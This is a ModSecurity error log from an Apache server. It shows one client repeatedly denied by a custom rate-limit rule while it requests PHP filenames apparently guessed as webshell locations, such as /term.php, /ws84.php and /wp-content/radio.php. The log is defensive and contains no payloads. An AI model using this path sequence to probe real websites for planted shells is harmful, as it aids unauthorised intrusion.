[Sat Apr 11 08:03:23.378215 2026] [:error] [pid 33288:tid 33311] [client 158.158.33.175:29673] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "admPy2JmwJFFPEgRHfGlpgAAANU"]
[Sat Apr 11 08:03:23.947199 2026] [:error] [pid 33172:tid 33227] [client 158.158.33.175:33557] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "admPyzn2G0IJw5EZY9l6bwAAAEk"]
[Sat Apr 11 08:03:24.568072 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:37304] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "admPzGJmwJFFPEgRHfGlrAAAAMU"]
[Sat Apr 11 08:03:25.107642 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:29843] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "admPzYkdEsz5NeAq8w2i5AAAAQ8"]
[Sat Apr 11 08:03:25.620103 2026] [:error] [pid 33173:tid 33254] [client 158.158.33.175:20352] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "admPza8109xRDP2izWgmugAAAIk"]
[Sat Apr 11 08:03:26.108952 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:35572] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "admPzokdEsz5NeAq8w2i6gAAAQg"]
[Sat Apr 11 08:03:26.671531 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:35540] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "admPzokdEsz5NeAq8w2i7wAAAQo"]
[Sat Apr 11 08:03:27.186128 2026] [:error] [pid 15244:tid 15248] [client 158.158.33.175:24266] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "admPz4kdEsz5NeAq8w2i8wAAAQI"]
[Sat Apr 11 08:03:27.747594 2026] [:error] [pid 33173:tid 33249] [client 158.158.33.175:24304] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "admPz68109xRDP2izWgmwgAAAIQ"]
[Sat Apr 11 08:03:28.279192 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:24292] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "admP0IkdEsz5NeAq8w2i9wAAARU"]
[Sat Apr 11 08:03:28.767181 2026] [:error] [pid 33171:tid 33201] [client 158.158.33.175:39498] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "admP0LoqTMlo30hcVw-YfAAAAA8"]
[Sat Apr 11 08:03:29.339085 2026] [:error] [pid 33171:tid 33191] [client 158.158.33.175:39456] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "admP0boqTMlo30hcVw-YfQAAAAU"]
[Sat Apr 11 08:03:29.909440 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:10355] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "admP0YkdEsz5NeAq8w2i_QAAAQw"]
[Sat Apr 11 08:03:30.419779 2026] [:error] [pid 33171:tid 33190] [client 158.158.33.175:37322] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "admP0roqTMlo30hcVw-YgAAAAAQ"]
[Sat Apr 11 08:03:30.901080 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:33451] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "admP0roqTMlo30hcVw-YgwAAABU"]
[Sat Apr 11 08:03:31.392567 2026] [:error] [pid 33288:tid 33298] [client 158.158.33.175:39507] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "admP02JmwJFFPEgRHfGl0wAAAMg"]
[Sat Apr 11 08:03:31.879083 2026] [:error] [pid 33288:tid 33296] [client 158.158.33.175:33424] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "admP02JmwJFFPEgRHfGl3AAAAMY"]
[Sat Apr 11 08:03:32.394971 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:37330] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "admP1GJmwJFFPEgRHfGl4QAAANI"]
[Sat Apr 11 08:03:33.211769 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:29692] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "admP1a8109xRDP2izWgm0QAAAIo"]
[Sat Apr 11 08:03:33.736839 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:29830] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "admP1a8109xRDP2izWgm1AAAAJE"]
[Sat Apr 11 08:03:34.244939 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:37270] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "admP1q8109xRDP2izWgm2QAAAIw"]
[Sat Apr 11 08:03:34.771288 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:35561] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "admP1mJmwJFFPEgRHfGl7wAAAMA"]
[Sat Apr 11 08:03:35.388636 2026] [:error] [pid 33172:tid 33232] [client 158.158.33.175:33427] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "admP1zn2G0IJw5EZY9l6egAAAE4"]
[Sat Apr 11 08:03:36.022821 2026] [:error] [pid 33288:tid 33303] [client 158.158.33.175:24011] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "admP2GJmwJFFPEgRHfGl-QAAAM0"]
[Sat Apr 11 08:03:36.675436 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:35548] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "admP2IkdEsz5NeAq8w2jDAAAAQg"]
[Sat Apr 11 08:03:37.223850 2026] [:error] [pid 33171:tid 33190] [client 158.158.33.175:29852] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "admP2boqTMlo30hcVw-YjQAAAAQ"]
[Sat Apr 11 08:03:37.822878 2026] [:error] [pid 33288:tid 33296] [client 158.158.33.175:14139] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "admP2WJmwJFFPEgRHfGmAQAAAMY"]
[Sat Apr 11 08:03:38.414141 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:33567] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "admP2roqTMlo30hcVw-YjwAAABU"]
[Sat Apr 11 08:03:38.950836 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:24303] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "admP2okdEsz5NeAq8w2jGwAAAQ4"]
[Sat Apr 11 08:03:39.526650 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:24261] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "admP24kdEsz5NeAq8w2jHQAAAQ0"]
[Sat Apr 11 08:03:40.118127 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:35549] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "admP3IkdEsz5NeAq8w2jIAAAAQQ"]
[Sat Apr 11 08:03:40.659734 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:35503] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "admP3IkdEsz5NeAq8w2jJwAAAQ8"]
[Sat Apr 11 08:03:41.353011 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:10324] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "admP3WJmwJFFPEgRHfGmGQAAAMU"]
[Sat Apr 11 08:03:41.853208 2026] [:error] [pid 33288:tid 33312] [client 158.158.33.175:37370] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "admP3WJmwJFFPEgRHfGmHAAAANY"]
[Sat Apr 11 08:03:42.386084 2026] [:error] [pid 15244:tid 15257] [client 158.158.33.175:39482] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "admP3okdEsz5NeAq8w2jMwAAAQs"]
[Sat Apr 11 08:03:42.975464 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:33566] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "admP3okdEsz5NeAq8w2jNwAAARA"]
[Sat Apr 11 08:03:43.560096 2026] [:error] [pid 33172:tid 33220] [client 158.158.33.175:14115] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "admP3zn2G0IJw5EZY9l6hAAAAEI"]
[Sat Apr 11 08:03:44.067353 2026] [:error] [pid 33172:tid 33224] [client 158.158.33.175:39432] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "admP4Dn2G0IJw5EZY9l6iAAAAEY"]
[Sat Apr 11 08:03:44.625595 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:35459] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "admP4K8109xRDP2izWgm7AAAAIc"]
[Sat Apr 11 08:03:45.172390 2026] [:error] [pid 33172:tid 33218] [client 158.158.33.175:24000] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "admP4Tn2G0IJw5EZY9l6iwAAAEA"]
[Sat Apr 11 08:03:45.795035 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:39488] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "admP4YkdEsz5NeAq8w2jQQAAAQ4"]
[Sat Apr 11 08:03:46.458295 2026] [:error] [pid 33173:tid 33263] [client 158.158.33.175:41912] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "admP4q8109xRDP2izWgm9wAAAJI"]
[Sat Apr 11 08:03:47.159793 2026] [:error] [pid 33288:tid 33301] [client 158.158.33.175:29875] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "admP42JmwJFFPEgRHfGmOAAAAMs"]
[Sat Apr 11 08:03:47.709101 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:37293] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "admP44kdEsz5NeAq8w2jSQAAARg"]
[Sat Apr 11 08:03:48.580624 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:39472] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "admP5K8109xRDP2izWgm_AAAAIc"]
[Sat Apr 11 08:03:49.148882 2026] [:error] [pid 33288:tid 33312] [client 158.158.33.175:35498] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "admP5WJmwJFFPEgRHfGmWQAAANY"]
[Sat Apr 11 08:03:49.863311 2026] [:error] [pid 33288:tid 33293] [client 158.158.33.175:37248] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "admP5WJmwJFFPEgRHfGmXgAAAMM"]
[Sat Apr 11 08:03:50.672867 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:37297] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "admP5q8109xRDP2izWgnAQAAAIo"]
[Sat Apr 11 08:03:51.714987 2026] [:error] [pid 33171:tid 33195] [client 158.158.33.175:41811] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "admP57oqTMlo30hcVw-YxAAAAAk"]
[Sat Apr 11 08:03:52.207764 2026] [:error] [pid 33173:tid 33253] [client 158.158.33.175:41823] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "admP6K8109xRDP2izWgnCAAAAIg"]
[Sat Apr 11 08:03:52.788409 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:35535] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "admP6K8109xRDP2izWgnCwAAAIU"]
[Sat Apr 11 08:03:53.355399 2026] [:error] [pid 33173:tid 33256] [client 158.158.33.175:37252] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "admP6a8109xRDP2izWgnDgAAAIs"]
[Sat Apr 11 08:03:53.886011 2026] [:error] [pid 15244:tid 15246] [client 158.158.33.175:8259] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "admP6YkdEsz5NeAq8w2jYQAAAQA"]
[Sat Apr 11 08:03:54.463891 2026] [:error] [pid 33171:tid 33186] [client 158.158.33.175:41866] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "admP6roqTMlo30hcVw-Y0wAAAAA"]
[Sat Apr 11 08:03:54.992727 2026] [:error] [pid 33172:tid 33224] [client 158.158.33.175:29880] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "admP6jn2G0IJw5EZY9l6lgAAAEY"]
[Sat Apr 11 08:03:55.488603 2026] [:error] [pid 33173:tid 33263] [client 158.158.33.175:29830] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "admP668109xRDP2izWgnFAAAAJI"]
